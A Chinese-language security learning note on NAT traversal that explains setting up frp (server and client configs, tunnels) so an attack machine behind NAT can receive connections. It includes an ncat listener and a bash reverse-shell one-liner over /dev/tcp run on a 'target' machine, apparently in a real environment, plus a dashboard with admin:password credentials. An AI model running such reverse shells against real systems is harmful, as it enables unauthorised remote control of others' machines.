本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记
内网穿透,也即 NAT 穿透,进行 NAT 穿透是为了使具有某一个特定源 IP 地址和源端口号的数据包不被 NAT 设备屏蔽而正确路由到内网主机。
摘自:百度百科
简单来说,ipv4的ip是有限的,大概256^4个,差不多42.9亿个,如果每台设备都分配一个ip,那ip很快就不够分了。因此,提出了内网域的概念。
我们平时使用的计算机,如果在命令行中输入ipconfig
或者ip a
,可以看到自己的ip地址。
这里我的ip是192.168.1.9,这是一个内网的ip,中国电信提供的内网ip都是:192.168.*.* ,这样有了内网域,再配合网关,就可以实现几台计算机共享一个ip。这样的一个环境统称局域网。多个局域网交织在一起,叫做广域网。
但这样就会出现一个问题,我的电脑是在内网环境中,如果其他计算机想与我建立通信,是无法连接到我的计算机的。
假如我们想要建立一个网站,或者对外提供某项服务。关于网络安全的,ncat监听,msfconsole监听,都需要其他计算机进行主动连接,但由于我是内网环境,无法直接连接,导致无法实现。
获取公网ip的方法网上教程很多,可以自行查询。
在这里介绍内网穿透技术。
内网穿透技术的工作方式大概可以通过这样一张图表示
通过间接的方式实现攻击机和目标机的连接。
在这里推荐我之前一直用的内网穿透工具:Sakura frp
官网:https://www.natfrp.com/
通过该软件,可以轻松实现内网穿透,普通用户可添加两条隧道,限速为10mb/s,每天可以签到拿流量
这个软件,注册是免费的,开隧道是免费的,搭服务也是免费的,但签到要实名,实名资格要一块钱。
该软件不是今天介绍的重点,感兴趣的可以自行了解
frp 是一个高性能的反向代理应用,支持 tcp, udp, http, https 协议。
摘自:百度百科
这里需要有一台公网服务器,最好是linux的,获取方式大家懂得都懂,如果没有的话可以走了。
在这里举一个实例。
首先这里有三台计算机,两台有公网ip,一台,即我自己的计算机,内网。
由于是真实环境,所有IP我都会进行处理
Server:121.-.-.-
Target:60.-.-.-
Me:192.168.1.9
首先在公网服务器上,开启frps服务
接下来在自己电脑上运行frpc
此时内网穿透已经建立成功。
其中,我讲自己电脑上的1234端口映射到远程服务器的6000端口,在本地我打开ncat监听
在目标机上执行回显命令
bash -c 'exec bash -i &>/dev/tcp/121.-.-.-/6000 <&1'
GitHub:https://github.com/fatedier/frp/releases
去官网分别下载相同版本的linux和windows的压缩包(根据自身情况而定)
例如,我在这里下的是这两个
windows系统直接解压即可
把Linux的压缩包移到服务器上,输入
tar -zxvf frp_0.44.0_linux_amd64.tar.gz
给文件夹先改个名字
cd进去,可以看到
其中,frps是服务器端的启动文件,frps.ini是配置文件
vim编辑frps.ini,修改内容如下
[common]
bind_port = 7030
dashboard_port = 7500
dashboard_user = admin
dashboard_pwd = password
log_file = ./frps.log
max_pool_count = 50
参数
输入
./frps -c ./frps.ini
启动
此时访问该服务器的7500端口,看到web界面即为启动成功
用户名和密码是之前配置文件的用户名和密码,比如我配置的是admin:password
修改frpc.ini
[common]
server_addr = 服务端的IP
server_port = 7030
[reverse1]
type = tcp
local_ip = 127.0.0.1
local_port = 1234
remote_port = 6000
[reverse2]
type = tcp
local_ip = 127.0.0.1
local_port = 7777
remote_port = 6001
参数:
类似
[reverse1]
type = tcp
local_ip = 127.0.0.1
local_port = 1234
remote_port = 6000
就是我配置的内网穿透,在这里我分别开了两条隧道,分别打到我的1234端口和7777端口,对应服务器的6000和6001端口
想要开隧道就像这样开就好了,type表示协议
命令行输入:
frpc.exe -c frpc.ini
注:要先启动服务端,否则就是这样
在这里以本地端口的1234,对应远程端口6000测试
本地ncat监听
ncat -lvvp 1234
目标靶机执行回显指令
bash -c 'exec bash -i &>/dev/tcp/xx.xx.xx.xx/6000 <&1'